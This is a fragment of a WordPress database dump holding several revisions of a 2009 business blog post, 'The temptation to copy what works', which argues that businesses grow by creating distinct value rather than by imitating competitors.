(613, 2, '2009-08-26 06:55:05', '2009-08-26 13:55:05', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-23', '', '', '2009-08-26 06:55:05', '2009-08-26 13:55:05', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-23/', 0, 'revision', '', 0),
(608, 2, '2009-08-26 06:45:23', '2009-08-26 13:45:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-18', '', '', '2009-08-26 06:45:23', '2009-08-26 13:45:23', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-18/', 0, 'revision', '', 0),
(609, 2, '2009-08-26 06:45:33', '2009-08-26 13:45:33', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event. It will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-19', '', '', '2009-08-26 06:45:33', '2009-08-26 13:45:33', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-19/', 0, 'revision', '', 0),
(612, 2, '2009-08-26 06:46:52', '2009-08-26 13:46:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-22', '', '', '2009-08-26 06:46:52', '2009-08-26 13:46:52', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-22/', 0, 'revision', '', 0),
(610, 2, '2009-08-26 06:46:02', '2009-08-26 13:46:02', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-20', '', '', '2009-08-26 06:46:02', '2009-08-26 13:46:02', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-20/', 0, 'revision', '', 0),
(611, 2, '2009-08-26 06:46:11', '2009-08-26 13:46:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involves change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional,  artist or infoprenuer, much of what you currently provide is perceived by customers as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of the stuff that changes is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you with others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-21', '', '', '2009-08-26 06:46:11', '2009-08-26 13:46:11', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-21/', 0, 'revision', '', 0),
(614, 2, '2009-08-26 06:55:57', '2009-08-26 13:55:57', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-24', '', '', '2009-08-26 06:55:57', '2009-08-26 13:55:57', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-24/', 0, 'revision', '', 0),
(615, 2, '2009-08-26 07:06:11', '2009-08-26 14:06:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\n\nAuthors Note: This post is an edited version of a post I created for the <em>Influence by Design</em> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a method tos ell more stuff.', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-25', '', '', '2009-08-26 07:06:11', '2009-08-26 14:06:11', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-25/', 0, 'revision', '', 0),
(616, 2, '2009-08-26 07:07:09', '2009-08-26 14:07:09', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a method tos ell more stuff.</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-26', '', '', '2009-08-26 07:07:09', '2009-08-26 14:07:09', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-26/', 0, 'revision', '', 0);
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(617, 2, '2009-08-26 07:07:17', '2009-08-26 14:07:17', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a method tos ell more stuff.</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-27', '', '', '2009-08-26 07:07:17', '2009-08-26 14:07:17', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-27/', 0, 'revision', '', 0),
(620, 2, '2009-08-26 07:14:41', '2009-08-26 14:14:41', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-30', '', '', '2009-08-26 07:14:41', '2009-08-26 14:14:41', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-30/', 0, 'revision', '', 0),
